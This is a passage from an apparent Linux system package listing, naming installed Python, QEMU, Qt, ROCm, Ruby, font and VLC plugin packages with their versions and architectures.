python-lz4-4.4.5-2.1-x86_64_v4 +installed = python-mako-1.3.12-1-any +installed = python-markdown-3.10.2-1-any +installed = python-markdown-it-py-4.0.0-2-any +installed = python-markupsafe-3.0.3-1.1-x86_64_v4 +installed = python-matplotlib-3.10.9-1-x86_64 +installed = python-mdurl-0.1.2-9-any +installed = python-merge3-0.0.16-2-any +installed = python-moddb-0.14.0-2-any +installed = python-more-itertools-11.1.0-1-any +installed = python-mpmath-1.4.1-1-any +installed = python-mpv-1.0.8-2-any +installed = python-msgpack-1.1.2-2.1-x86_64_v4 +installed = python-mss-10.2.0-1-any +installed = python-networkx-3.6.1-1-any +installed = python-notify2-0.3.1-12-any +installed = python-numpy-2.4.6-1.1-x86_64_v4 +installed = python-opencv-4.13.0-10.1-x86_64_v4 +installed = python-opengl-3.1.10-3-any +installed = python-orjson-3.11.9-1.1-x86_64_v4 +installed = python-outcome-1.3.0.post0-7-any +installed = python-packaging-26.2-1-any +installed = python-paho-mqtt-1.6.1-6-any +installed = python-pandas-2.3.3-2.1-x86_64_v4 +installed = python-patiencediff-0.2.18-2.1-x86_64_v4 +installed = python-pbs-installer-2026.06.10-1-any +installed = python-pefile-2024.8.26-2-any +installed = python-pexpect-4.9.0-7-any +installed = python-pillow-12.2.0-1-x86_64 +installed = python-pip-26.1.2-1-any +installed = python-pkg_resources-81.0.0-1-any +installed = python-pkginfo-1.12.1.2-2-any +installed = python-platformdirs-4.10.0-1-any +installed = python-poetry-2.4.1-1-any +installed = python-poetry-core-2.4.1-1-any +installed = python-poetry-plugin-export-1.10.0-1-any +installed = python-pooch-1.9.0-1-any +installed = python-prettytable-3.17.0-2-any +installed = python-prompt_toolkit-3.0.52-2-any +installed = python-protobuf-35.0-2.1-x86_64_v4 +installed = python-pskc-1.4-1.1-x86_64_v4 +installed = python-psutil-7.2.2-1-x86_64 +installed = python-ptyprocess-0.7.0-9-any +installed = python-pyaml-26.2.1-1-any +installed = python-pyasn1-0.6.3-1-any +installed = python-pyaudio-0.2.14-5.1-x86_64_v4 +installed = python-pycountry-24.6.1-5-any +installed = python-pycparser-3.00-1-any +installed = python-pycryptodome-3.23.0-2.1-x86_64_v4 +installed = python-pycryptodomex-3.23.0-3.1-x86_64_v4 +installed = python-pydantic-2.13.4-1-any +installed = python-pydantic-core-3:2.46.4-1.1-x86_64_v4 +installed = python-pyelftools-0.33-1-any +installed = python-pyfuse3-3.5.0-1.1-x86_64_v4 +installed = python-pygame-2.6.1-5.1-x86_64_v4 +installed = python-pygame-sdl2-1:8.5.1.25123106-1-x86_64 +installed = python-pygdbmi-0.11.0.0-6-any +installed = python-pygments-2.20.0-1-any +installed = python-pyinotify-0.9.6-16-any +installed = python-pymongo-4.16.0-2.1-x86_64_v4 +installed = python-pyopenssl-26.2.0-1-any +installed = python-pyotherside-1.6.2-2.1-x86_64_v4 +installed = python-pyparsing-3.3.2-1-any +installed = python-pyproject-hooks-1.2.0-6-any +installed = python-pypubsub-4.0.7-1-any +installed = python-pyqt5-5.15.11-7-x86_64 +installed = python-pyqt5-sip-12.18.0-1.1-x86_64_v4 +installed = python-pyqt6-6.11.0-2-x86_64 +installed = python-pyqt6-sip-13.11.1-1.1-x86_64_v4 +installed = python-pyscard-2.3.1-2.1-x86_64_v4 +installed = python-pyserial-3.5-8-any +installed = python-pysocks-1.7.1-12-any +installed = python-pystache-0.6.8-1-any +installed = python-pystray-0.19.5-7-any +installed = python-python-discovery-1.4.2-1-any +installed = python-pytorch-opt-rocm-2.12.0-4-x86_64 +installed = python-pytz-2026.1-1-any +installed = python-pyxdg-0.28-7-any +installed = python-pyzstd-0.19.1-3.1-x86_64_v4 +installed = python-qt-material-2.17-2-any +installed = python-rapidfuzz-3.14.5-1.1-x86_64_v4 +installed = python-reedsolo-1.7.0-5.1-x86_64_v4 +installed = python-referencing-0.37.0-3-any +installed = python-regex-2026.5.9-1.1-x86_64_v4 +installed = python-requests-2.34.2-1-any +installed = python-requests-toolbelt-1.0.0-6-any +installed = python-rich-15.0.0-1-any +installed = python-rich-click-1.9.7-1-any +installed = python-roman-numerals-py-3.1.0-2-any +installed = python-rpds-py-2026.5.1-1.1-x86_64_v4 +installed = python-rsa-4.9.1-2-any +installed = python-scipy-1.17.1-2.1-x86_64_v4 +installed = python-secretstorage-3.5.0-1-any +installed = python-sentry_sdk-2.62.0-1-any +installed = python-setuptools-1:82.0.1-1-any +installed = python-setuptools-scm-10.0.5-1-any +installed = python-shellingham-1.5.4-4-any +installed = python-shtab-1.8.0-2-any +installed = python-six-1.17.0-3-any +installed = python-slugify-8.0.4-4-any +installed = python-sniffio-1.3.1-5-any +installed = python-snowballstemmer-3.1.1-1-any +installed = python-sortedcontainers-2.4.0-8-any +installed = python-soupsieve-2.8.4-1-any +installed = python-sphinx-9.1.0-1-any +installed = python-sphinx-alabaster-theme-1.0.0-6-any +installed = python-sphinx_rtd_dark_mode-1.3.0-1-any +installed = python-sphinx_rtd_theme-3.0.0-1-any +installed = python-sphinxcontrib-applehelp-2.0.0-5-any +installed = python-sphinxcontrib-devhelp-2.0.0-6-any +installed = python-sphinxcontrib-htmlhelp-2.1.0-5-any +installed = python-sphinxcontrib-jquery-4.1-5-any +installed = python-sphinxcontrib-jsmath-1.0.1-21-any +installed = python-sphinxcontrib-qthelp-2.0.0-5-any +installed = python-sphinxcontrib-serializinghtml-2.0.0-5-any +installed = python-sslpsk-1.0.0-1-any +installed = python-steam-2.0.0.alpha1-2-any +installed = python-sympy-1.14.0-6-any +installed = python-termcolor-3.3.0-1-any +installed = python-text-unidecode-1.3-13-any +installed = python-toml-0.10.2-13-any +installed = python-tomli-2.4.1-1-any +installed = python-tomlkit-0.15.0-1-any +installed = python-tornado-6.5.7-1.1-x86_64_v4 +installed = python-tqdm-4.68.2-1-any +installed = python-trio-0.33.0-1-any +installed = python-trio-websocket-0.12.2-4-any +installed = python-triton-3.5.1-4-x86_64 +installed = python-trove-classifiers-2026.6.1.19-1-any +installed = python-typing-inspection-0.4.2-2-any +installed = python-typing_extensions-4.15.0-3-any +installed = python-urllib3-2.7.0-1-any +installed = python-uvloop-0.22.1-2.1-x86_64_v4 +installed = python-vcs-versioning-1.1.1-1-any +installed = python-vdf-4.0-5-any +installed = python-virtualenv-21.4.3-1-any +installed = python-wcwidth-0.8.1-1-any +installed = python-webencodings-0.5.1-13-any +installed = python-websocket-client-1.9.0-3-any +installed = python-websockets-16.0-1-x86_64 +installed = python-werkzeug-3.1.8-1-any +installed = python-wheel-0.47.0-1-any +installed = python-wsproto-1.3.2-1-any +installed = python-wxpython-1:4.2.5-1-x86_64 +installed = python-xlib-0.33-6-any +installed = python-xxhash-3.7.0-1.1-x86_64_v4 +installed = python-yaml-6.0.3-2.1-x86_64_v4 +installed = python-zipp-3.21.0-4-any +installed = python-zope-event-6.2-1-any +installed = python-zope-interface-8.5-1.1-x86_64_v4 +installed = python-zstandard-0.25.0-2.1-x86_64_v4 +installed = python2-2.7.18-14-x86_64 +installed = python2-setuptools-2:44.1.1-2-any +installed = python310-3.10.19-1-x86_64 +installed = python311-3.11.14-1-x86_64 +installed = qca-qt6-2.3.10-7-x86_64 +installed = qcoro-0.13.0-2-x86_64 +installed = qemu-audio-alsa-11.0.1-1-x86_64 +installed = qemu-audio-dbus-11.0.1-1-x86_64 +installed = qemu-audio-jack-11.0.1-1-x86_64 +installed = qemu-audio-oss-11.0.1-1-x86_64 +installed = qemu-audio-pa-11.0.1-1-x86_64 +installed = qemu-audio-pipewire-11.0.1-1-x86_64 +installed = qemu-audio-sdl-11.0.1-1-x86_64 +installed = qemu-audio-spice-11.0.1-1-x86_64 +installed = qemu-base-11.0.1-1-x86_64 +installed = qemu-block-curl-11.0.1-1-x86_64 +installed = qemu-block-dmg-11.0.1-1-x86_64 +installed = qemu-block-gluster-11.0.1-1-x86_64 +installed = qemu-block-iscsi-11.0.1-1-x86_64 +installed = qemu-block-nfs-11.0.1-1-x86_64 +installed = qemu-block-ssh-11.0.1-1-x86_64 +installed = qemu-chardev-baum-11.0.1-1-x86_64 +installed = qemu-chardev-spice-11.0.1-1-x86_64 +installed = qemu-common-11.0.1-1-x86_64 +installed = qemu-desktop-11.0.1-1-x86_64 +installed = qemu-docs-11.0.1-1-x86_64 +installed = qemu-emulators-full-11.0.1-1-x86_64 +installed = qemu-full-11.0.1-1-x86_64 +installed = qemu-hw-display-qxl-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-gl-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-pci-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-pci-gl-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-pci-rutabaga-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-gpu-rutabaga-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-vga-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-vga-gl-11.0.1-1-x86_64 +installed = qemu-hw-display-virtio-vga-rutabaga-11.0.1-1-x86_64 +installed = qemu-hw-s390x-virtio-gpu-ccw-11.0.1-1-x86_64 +installed = qemu-hw-uefi-vars-11.0.1-1-x86_64 +installed = qemu-hw-usb-host-11.0.1-1-x86_64 +installed = qemu-hw-usb-redirect-11.0.1-1-x86_64 +installed = qemu-hw-usb-smartcard-11.0.1-1-x86_64 +installed = qemu-img-11.0.1-1-x86_64 +installed = qemu-pr-helper-11.0.1-1-x86_64 +installed = qemu-system-aarch64-11.0.1-1-x86_64 +installed = qemu-system-alpha-11.0.1-1-x86_64 +installed = qemu-system-alpha-firmware-11.0.1-1-x86_64 +installed = qemu-system-arm-11.0.1-1-x86_64 +installed = qemu-system-arm-firmware-11.0.1-1-x86_64 +installed = qemu-system-avr-11.0.1-1-x86_64 +installed = qemu-system-hppa-11.0.1-1-x86_64 +installed = qemu-system-hppa-firmware-11.0.1-1-x86_64 +installed = qemu-system-loongarch64-11.0.1-1-x86_64 +installed = qemu-system-m68k-11.0.1-1-x86_64 +installed = qemu-system-microblaze-11.0.1-1-x86_64 +installed = qemu-system-microblaze-firmware-11.0.1-1-x86_64 +installed = qemu-system-mips-11.0.1-1-x86_64 +installed = qemu-system-or1k-11.0.1-1-x86_64 +installed = qemu-system-ppc-11.0.1-1-x86_64 +installed = qemu-system-ppc-firmware-11.0.1-1-x86_64 +installed = qemu-system-riscv-11.0.1-1-x86_64 +installed = qemu-system-riscv-firmware-11.0.1-1-x86_64 +installed = qemu-system-rx-11.0.1-1-x86_64 +installed = qemu-system-s390x-11.0.1-1-x86_64 +installed = qemu-system-s390x-firmware-11.0.1-1-x86_64 +installed = qemu-system-sh4-11.0.1-1-x86_64 +installed = qemu-system-sparc-11.0.1-1-x86_64 +installed = qemu-system-sparc-firmware-11.0.1-1-x86_64 +installed = qemu-system-tricore-11.0.1-1-x86_64 +installed = qemu-system-x86-11.0.1-1-x86_64 +installed = qemu-system-x86-firmware-11.0.1-1-x86_64 +installed = qemu-system-xtensa-11.0.1-1-x86_64 +installed = qemu-tests-11.0.1-1-x86_64 +installed = qemu-tools-11.0.1-1-x86_64 +installed = qemu-ui-curses-11.0.1-1-x86_64 +installed = qemu-ui-dbus-11.0.1-1-x86_64 +installed = qemu-ui-egl-headless-11.0.1-1-x86_64 +installed = qemu-ui-gtk-11.0.1-1-x86_64 +installed = qemu-ui-opengl-11.0.1-1-x86_64 +installed = qemu-ui-sdl-11.0.1-1-x86_64 +installed = qemu-ui-spice-app-11.0.1-1-x86_64 +installed = qemu-ui-spice-core-11.0.1-1-x86_64 +installed = qemu-user-11.0.1-1-x86_64 +installed = qemu-vhost-user-gpu-11.0.1-1-x86_64 +installed = qemu-vmsr-helper-11.0.1-1-x86_64 +installed = qflipper-1.3.3-4.1-x86_64_v4 +installed = qgpgme-2.1.0-1.1-x86_64_v4 +installed = qhull-2020.2-5.1-x86_64_v4 +installed = qmidiplayer-0.8.9-1-x86_64 +installed = qpdf-12.3.2-2.1-x86_64_v4 +installed = qqc2-breeze-style-6.6.5-1.1-x86_64_v4 +installed = qqc2-desktop-style-6.27.0-1.1-x86_64_v4 +installed = qrcodegencpp-cmake-1.8.0-4.7-x86_64_v4 +installed = qrencode-4.1.1-4.4-x86_64_v4 +installed = qt5-base-5.15.19+kde+r96-1.1-x86_64_v4 +installed = qt5-declarative-5.15.19+kde+r23-1.1-x86_64_v4 +installed = qt5-graphicaleffects-5.15.19-1.1-x86_64_v4 +installed = qt5-quickcontrols-5.15.19-1.1-x86_64_v4 +installed = qt5-quickcontrols2-5.15.19+kde+r5-1.1-x86_64_v4 +installed = qt5-svg-5.15.19+kde+r5-1.1-x86_64_v4 +installed = qt5-translations-5.15.19-1-any +installed = qt5-wayland-5.15.19+kde+r55-1.1-x86_64_v4 +installed = qt5-x11extras-5.15.19-1.1-x86_64_v4 +installed = qt6-5compat-6.11.1-1.1-x86_64_v4 +installed = qt6-base-6.11.1-1-x86_64 +installed = qt6-connectivity-6.11.1-1.1-x86_64_v4 +installed = qt6-declarative-6.11.1-3.1-x86_64_v4 +installed = qt6-imageformats-6.11.1-1.1-x86_64_v4 +installed = qt6-location-6.11.1-1.1-x86_64_v4 +installed = qt6-multimedia-6.11.1-1.1-x86_64_v4 +installed = qt6-multimedia-ffmpeg-6.11.1-1.1-x86_64_v4 +installed = qt6-networkauth-6.11.1-1.1-x86_64_v4 +installed = qt6-positioning-6.11.1-1.1-x86_64_v4 +installed = qt6-quick3d-6.11.1-1.1-x86_64_v4 +installed = qt6-quicktimeline-6.11.1-1.1-x86_64_v4 +installed = qt6-scxml-6.11.1-1.1-x86_64_v4 +installed = qt6-sensors-6.11.1-1.1-x86_64_v4 +installed = qt6-serialport-6.11.1-1.1-x86_64_v4 +installed = qt6-shadertools-6.11.1-1.1-x86_64_v4 +installed = qt6-speech-6.11.1-1.1-x86_64_v4 +installed = qt6-svg-6.11.1-1.1-x86_64_v4 +installed = qt6-tools-6.11.1-3.1-x86_64_v4 +installed = qt6-translations-6.11.1-1-any +installed = qt6-virtualkeyboard-6.11.1-1.1-x86_64_v4 +installed = qt6-wayland-6.11.1-1.1-x86_64_v4 +installed = qt6-webchannel-6.11.1-1.1-x86_64_v4 +installed = qt6-webengine-6.11.1-3-x86_64 +installed = qt6-websockets-6.11.1-1.1-x86_64_v4 +installed = qt6-webview-6.11.1-1.1-x86_64_v4 +installed = qtkeychain-qt6-0.16.0-1-x86_64 +installed = qtractor-1.6.1-1.1-x86_64_v4 +installed = quazip-qt6-1.7.1-1-x86_64 +installed = qwindowkit-1.5.0-1.1-x86_64_v4 +installed = raptor-2.0.16-9.1-x86_64_v4 +installed = rav1e-0.8.1-2.2-x86_64_v4 +installed = rccl-7.2.4-1.1-x86_64_v4 +installed = rdma-core-63.0-2.1-x86_64_v4 +installed = re2-2:2025.11.05-5.1-x86_64_v4 +installed = readline-8.3.003-1.2-x86_64_v4 +installed = rebuild-detector-4.4.5-1-any +installed = redis-8.8.0-1-x86_64 +installed = reflector-2023-5-any +installed = reflector-simple-2026.1-1-any +installed = reiserfsprogs-3.6.27-7-x86_64 +installed = renpy-8.5.3.26051504-1-x86_64 +installed = reuse-6.2.0-2-any +installed = rhash-1.4.6-1.1-x86_64_v4 +installed = ripgrep-15.1.0-2-x86_64_v4 +installed = ripgrep-all-0.10.10-1.2-x86_64_v4 +installed = rkhunter-1.4.6-4-any +installed = rnnoise-1:0.2-1.1-x86_64_v4 +installed = robin-map-1.4.1-1.1-x86_64_v4 +installed = rocalution-7.2.4-1.1-x86_64_v4 +installed = rocblas-7.2.4-2-x86_64 +installed = rocfft-7.2.4-1-x86_64 +installed = rocm-cmake-7.2.4-1-any +installed = rocm-core-7.2.4-1.1-x86_64_v4 +installed = rocm-device-libs-2:7.2.4-1.1-x86_64_v4 +installed = rocm-hip-libraries-7.2.4-1-any +installed = rocm-hip-runtime-7.2.4-1-any +installed = rocm-hip-sdk-7.2.4-1-any +installed = rocm-language-runtime-7.2.4-1-any +installed = rocm-llvm-2:7.2.4-1.1-x86_64_v4 +installed = rocm-opencl-runtime-7.2.4-1-x86_64 +installed = rocm-opencl-sdk-7.2.4-1-any +installed = rocm-smi-lib-7.2.0-2.1-x86_64_v4 +installed = rocminfo-7.2.4-1.1-x86_64_v4 +installed = rocprim-7.2.4-1-any +installed = rocprofiler-7.2.4-1.1-x86_64_v4 +installed = rocprofiler-register-7.2.4-1.1-x86_64_v4 +installed = rocrand-7.2.4-1.1-x86_64_v4 +installed = rocsolver-7.2.4-1-x86_64 +installed = rocsparse-7.2.4-1.1-x86_64_v4 +installed = rocthrust-7.2.4-1.1-x86_64_v4 +installed = roctracer-7.2.4-1.1-x86_64_v4 +installed = rpcbind-1.2.9-1.1-x86_64_v4 +installed = rpi-imager-2.0.9-1-x86_64 +installed = rpm-sequoia-1.10.2-2.1-x86_64_v4 +installed = rpm-tools-6.0.1-2.1-x86_64_v4 +installed = rsync-3.4.4-1.1-x86_64_v4 +installed = rtkit-0.14-1.1-x86_64_v4 +installed = rtmidi-6.0.0-3.1-x86_64_v4 +installed = rtmpdump-1:2.6-2.1-x86_64_v4 +installed = rubberband-4.0.0-2.1-x86_64_v4 +installed = ruby-3.4.8-2-x86_64 +installed = ruby-abbrev-0.1.2-1-any +installed = ruby-base64-0.3.0-1-any +installed = ruby-bigdecimal-3.3.1-2.1-x86_64_v4 +installed = ruby-bundled-gems-3.4.8-2-x86_64 +installed = ruby-bundler-4.0.3-1-any +installed = ruby-csv-3.3.5-1-any +installed = ruby-debug-3.3.7-2.1-x86_64_v4 +installed = ruby-default-gems-3.4.8-2-x86_64 +installed = ruby-drb-2.2.3-1-any +installed = ruby-erb-4.0.4-9.9-x86_64_v4 +installed = ruby-getoptlong-0.2.1-1-any +installed = ruby-irb-1.15.0-1-any +installed = ruby-matrix-0.4.3-1-any +installed = ruby-minitest-5.26.1-1-any +installed = ruby-mutex_m-0.3.0-2-any +installed = ruby-net-ftp-0.3.9-1-any +installed = ruby-net-imap-0.5.12-1-any +installed = ruby-net-pop-0.1.2-5-any +installed = ruby-net-smtp-0.5.1-1-any +installed = ruby-nkf-0.2.0-3.1-x86_64_v4 +installed = ruby-observer-0.1.2-3-any +installed = ruby-power_assert-2.0.5-4-any +installed = ruby-prime-0.1.4-1-any +installed = ruby-racc-1.8.1-2.9-x86_64_v4 +installed = ruby-rake-13.3.1-1-any +installed = ruby-rbs-3.8.0-2-any +installed = ruby-rdoc-6.14.0-1-any +installed = ruby-repl_type_completor-0.1.15-1-any +installed = ruby-resolv-replace-0.2.0-1-any +installed = ruby-rexml-3.4.4-1-any +installed = ruby-rinda-0.2.0-2-any +installed = ruby-rss-0.3.3-1-any +installed = ruby-stdlib-3.4.8-2-x86_64 +installed = ruby-syslog-0.4.0-1-any +installed = ruby-test-unit-3.7.7-1-any +installed = ruby-typeprof-0.30.1-2-any +installed = rubygems-3.6.9-1-any +installed = run-parts-5.23.2-1.1-x86_64_v4 +installed = runc-1.4.3-1.1-x86_64_v4 +installed = rust-1:1.96.0-1.1-x86_64_v4 +installed = rutabaga-ffi-0.1.75-1.1-x86_64_v4 +installed = s-nail-14.9.25-1.1-x86_64_v4 +installed = samba-2:4.24.3-1.1-x86_64_v4 +installed = sane-1.4.0-4.1-x86_64_v4 +installed = sbc-2.2-1.1-x86_64_v4 +installed = screen-5.0.1-3.1-x86_64_v4 +installed = scribus-1.6.6-5-x86_64 +installed = sd-1.1.0-1.1-x86_64_v4 +installed = sddm-0.21.0-8-x86_64_v4 +installed = sddm-kcm-6.6.5-1.1-x86_64_v4 +installed = sdl12-compat-1.2.68-2.1-x86_64_v4 +installed = sdl2-compat-2.32.70-1.1-x86_64_v4 +installed = sdl2_gfx-1:1.0.4-4.2-x86_64_v4 +installed = sdl2_image-2.8.12-1.1-x86_64_v4 +installed = sdl2_mixer-2.8.2-1.1-x86_64_v4 +installed = sdl2_ttf-2.24.0-2.1-x86_64_v4 +installed = sdl3-3.4.10-1.1-x86_64_v4 +installed = sdl3_ttf-3.2.2-3.2-x86_64_v4 +installed = sdl_image-1.2.12-9.1-x86_64_v4 +installed = seabios-1.17.0-2-any +installed = seatd-0.9.3-1.1-x86_64_v4 +installed = sed-4.10-1.1-x86_64_v4 +installed = semver-7.8.2-1-any +installed = serd-0.32.10-1.1-x86_64_v4 +installed = serf-1.3.10-2.1-x86_64_v4 +installed = sg3_utils-1.48-1.2-x86_64_v4 +installed = shaderc-2026.2-1.1-x86_64_v4 +installed = shadow-4.18.0-1.1-x86_64_v4 +installed = shared-mime-info-2.4-3.1-x86_64_v4 +installed = shiboken6-6.11.1-1.1-x86_64_v4 +installed = siege-4.1.7-1.1-x86_64_v4 +installed = signal-desktop-8.14.0-1-x86_64 +installed = signon-kwallet-extension-26.04.2-1.1-x86_64_v4 +installed = signon-plugin-oauth2-0.25-4-x86_64 +installed = signon-ui-0.17+20231016-4.1-x86_64_v4 +installed = signond-8.61-4.1-x86_64_v4 +installed = simde-0.8.2-1-any +installed = simplex-chat-bin-1:6.5.4-1-x86_64 +installed = simplex-desktop-bin-6.5.4-3-x86_64 +installed = slang-2.3.3-4.1-x86_64_v4 +installed = sleuthkit-4.15.0-1.1-x86_64_v4 +installed = smartmontools-7.5-1.1-x86_64_v4 +installed = smbclient-2:4.24.3-1.1-x86_64_v4 +installed = snapd-2.75.2-1-x86_64 +installed = snappy-1.2.2-3.1-x86_64_v4 +installed = sndio-1.10.0-1.1-x86_64_v4 +installed = snekstudio-bin-0.1.6-1-x86_64 +installed = snes9x-1.63-1.1-x86_64_v4 +installed = snes9x-gtk-1.63-1.1-x86_64_v4 +installed = socat-1.8.1.1-1.1-x86_64_v4 +installed = sof-firmware-2025.12.2-1-x86_64 +installed = softmaker-office-nx-bin-1234-1-x86_64 +installed = solid-6.27.0-1.1-x86_64_v4 +installed = sonivox-4.0.1-1-x86_64 +installed = sonnet-6.27.0-1.1-x86_64_v4 +installed = sord-0.16.22-1.1-x86_64_v4 +installed = sound-theme-freedesktop-0.8-6-any +installed = soundfont-fluid-3.1-5-any +installed = soundtouch-2.4.1-1.1-x86_64_v4 +installed = source-highlight-3.1.9-18.1-x86_64_v4 +installed = spandsp-0.0.6-7-x86_64 +installed = spdlog-1.17.0-2.1-x86_64_v4 +installed = spectacle-1:6.6.5-1.1-x86_64_v4 +installed = speech-dispatcher-0.12.1-3.1-x86_64_v4 +installed = speex-1.2.1-2.1-x86_64_v4 +installed = speexdsp-1.2.1-2.1-x86_64_v4 +installed = spice-0.16.0-2.1-x86_64_v4 +installed = spice-gtk-0.42-5-x86_64 +installed = spice-protocol-0.14.5-1-any +installed = spirv-tools-1:1.4.350.0-1.1-x86_64_v4 +installed = spotify-1:1.2.92.147-1-x86_64 +installed = sqlite-3.53.2-2-x86_64_v4 +installed = squashfs-tools-4.7.5-1.1-x86_64_v4 +installed = squashfuse-0.6.2-1.1-x86_64_v4 +installed = squid-7.6-1.1-x86_64_v4 +installed = sratom-0.6.22-1.1-x86_64_v4 +installed = srt-1.5.5-1.1-x86_64_v4 +installed = startup-notification-0.12-9.1-x86_64_v4 +installed = steam-1.0.0.85-7-x86_64 +installed = steam-devices-1.0.0.85-7-x86_64 +installed = steamtinkerlaunch-12.12-1-any +installed = stellar-mod-loader-bin-0.14.2-1-x86_64 +installed = stoken-0.92-6-x86_64 +installed = strace-7.0-1-x86_64 +installed = streamlink-8.4.0-1-any +installed = streamlink-twitch-gui-2.5.3-1-x86_64 +installed = subversion-1.14.5-5-x86_64 +installed = sudo-1.9.17.p2-2.1-x86_64_v4 +installed = suitesparse-7.12.2-2.1-x86_64_v4 +installed = sunshine-2026.516.143833-1-x86_64 +installed = supermin-5.3.5-2.1-x86_64_v4 +installed = svt-av1-4.1.0-2-x86_64_v4 +installed = svt-hevc-1.5.1-4.1-x86_64_v4 +installed = swtpm-0.10.1-2.1-x86_64_v4 +installed = syndication-6.27.0-1.1-x86_64_v4 +installed = syntax-highlighting-6.27.0-1.1-x86_64_v4 +installed = sysfsutils-2.1.1-2.2-x86_64_v4 +installed = syslinux-6.04.pre3.r3.g05ac953c-4.1-x86_64_v4 +installed = systemd-260.2-2-x86_64 +installed = systemd-libs-260.2-2-x86_64 +installed = systemd-resolvconf-260.2-2-x86_64 +installed = systemd-sysvcompat-260.2-2-x86_64 +installed = systemsettings-6.6.5-1.1-x86_64_v4 +installed = taglib-2.3-1.1-x86_64_v4 +installed = tailscale-1.98.4-1.1-x86_64_v4 +installed = talloc-2.4.4-1.1-x86_64_v4 +installed = tar-1.35-2.1-x86_64_v4 +installed = tcl-8.6.16-1.1-x86_64_v4 +installed = tcpdump-4.99.6-1.1-x86_64_v4 +installed = tdb-1.4.15-1.1-x86_64_v4 +installed = tea-0.14.1-1.1-x86_64_v4 +installed = termshark-2.4.0-2.1-x86_64_v4 +installed = testdisk-7.2-3.1-x86_64_v4 +installed = tevent-1:0.17.1-2.1-x86_64_v4 +installed = texinfo-7.3-1.1-x86_64_v4 +installed = thin-provisioning-tools-1.3.2-1.1-x86_64_v4 +installed = threadweaver-6.27.0-1.1-x86_64_v4 +installed = threema-desktop-bin-1.2.50-1-x86_64 +installed = tidy-5.8.0-3.1-x86_64_v4 +installed = tigervnc-1.16.2-3.1-x86_64_v4 +installed = timer-2.0.0.r2.g46992c8-1-any +installed = timidity++-2.15.0-12.1-x86_64_v4 +installed = tinysparql-3.11.1-1-x86_64 +installed = tk-8.6.16-1.1-x86_64_v4 +installed = tldr-3.4.4-1-any +installed = tmon-7.0.10-1-x86_64 +installed = tmux-3.6_b-2.1-x86_64_v4 +installed = tomlplusplus-3.4.0-2.1-x86_64_v4 +installed = tor-browser-bin-15.0.15-1-x86_64 +installed = toxcore-1:0.2.22-2.1-x86_64_v4 +installed = tpm2-tss-4.1.3-1.1-x86_64_v4 +installed = trash-cli-0.24.5.26-3-any +installed = tree-2.3.2-1-x86_64 +installed = tribler-bin-8.4.2-1-x86_64 +installed = tslib-1.24-1.2-x86_64_v4 +installed = ttf-bitstream-vera-1.10-16-any +installed = ttf-dejavu-2.37+18+g9b5d1b2f-8-any +installed = ttf-hack-3.003-7-any +installed = ttf-liberation-2.1.5-2-any +installed = ttf-opensans-3.003-1-any +installed = ttf-roboto-3.015-1-any +installed = tufw-bin-0.2.7-1-x86_64 +installed = tuntox-0.0.10.1-2.1-x86_64_v4 +installed = turbostat-7.0.10-1-x86_64 +installed = tuyapi-cli-1.18.3-2-any +installed = twitch-dl-bin-3.3.1-1-any +installed = twitch-tui-2.6.19-1.1-x86_64_v4 +installed = twolame-0.4.0-4.1-x86_64_v4 +installed = tzdata-2026b-1.1-x86_64_v4 +installed = uchardet-0.0.8-4.1-x86_64_v4 +installed = udisks2-2.11.1-2.1-x86_64_v4 +installed = ufw-0.36.2-7-any +installed = ufw-extras-1.2.0-1-any +installed = ufwall-0.1.0-1-x86_64 +installed = umu-launcher-1.4.0-3-x86_64 +installed = unigine-heaven-4.0-3-x86_64 +installed = unigine-valley-1.0-1-x86_64 +installed = unixodbc-2.3.14-1.1-x86_64_v4 +installed = unrar-1:7.2.6-1.1-x86_64_v4 +installed = unrpa-2.3.0-2-any +installed = unzip-6.0-23.1-x86_64_v4 +installed = upower-1.91.2-1.1-x86_64_v4 +installed = upscayl-bin-2.15.0-10-x86_64 +installed = usb_modeswitch-2.6.2.20251207-1.1-x86_64_v4 +installed = usbip-7.0.10-1-x86_64 +installed = usbredir-0.15.0-1.1-x86_64_v4 +installed = usbutils-019-1.1-x86_64_v4 +installed = usd-26.05-3.1-x86_64_v4 +installed = util-linux-2.42.1-1-x86_64 +installed = util-linux-libs-2.42.1-1-x86_64 +installed = utox-0.18.1-8.1-x86_64_v4 +installed = uutils-coreutils-0.9.0-1.1-x86_64_v4 +installed = uvicorn-0.49.0-1-any +installed = uwufetch-2.1-2.1-x86_64_v4 +installed = v4l-utils-1.32.0-2.1-x86_64_v4 +installed = v4l2loopback-dkms-0.15.3-1-any +installed = v4l2loopback-utils-0.15.3-1-any +installed = vapoursynth-76-1.1-x86_64_v4 +installed = vde2-2.3.3-8.1-x86_64_v4 +installed = verdict-1.4.5-2-x86_64 +installed = vid.stab-1.1.1-2.1-x86_64_v4 +installed = vim-runtime-9.2.0623-1.1-x86_64_v4 +installed = virglrenderer-1.3.0-2.1-x86_64_v4 +installed = virt-install-5.1.0-3-any +installed = virt-manager-5.1.0-3-any +installed = virtiofsd-1.13.3-1.1-x86_64_v4 +installed = vivaldi-8.0.4033.46-1.1-x86_64_v4 +installed = vivaldi-ffmpeg-codecs-148.0.7778.256-1.1-x86_64_v4 +installed = vkbasalt-0.3.2.10-1-x86_64 +installed = vkd3d-1.19-1.1-x86_64_v4 +installed = vkmark-1:2025.01-2.1-x86_64_v4 +installed = vlc-plugin-a52dec-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-aalib-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-alsa-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-aom-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-archive-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-aribb24-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-aribb25-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-ass-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-avahi-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-bluray-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-caca-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-cddb-3.0.23_2-7.1-x86_64_v4 +installed = 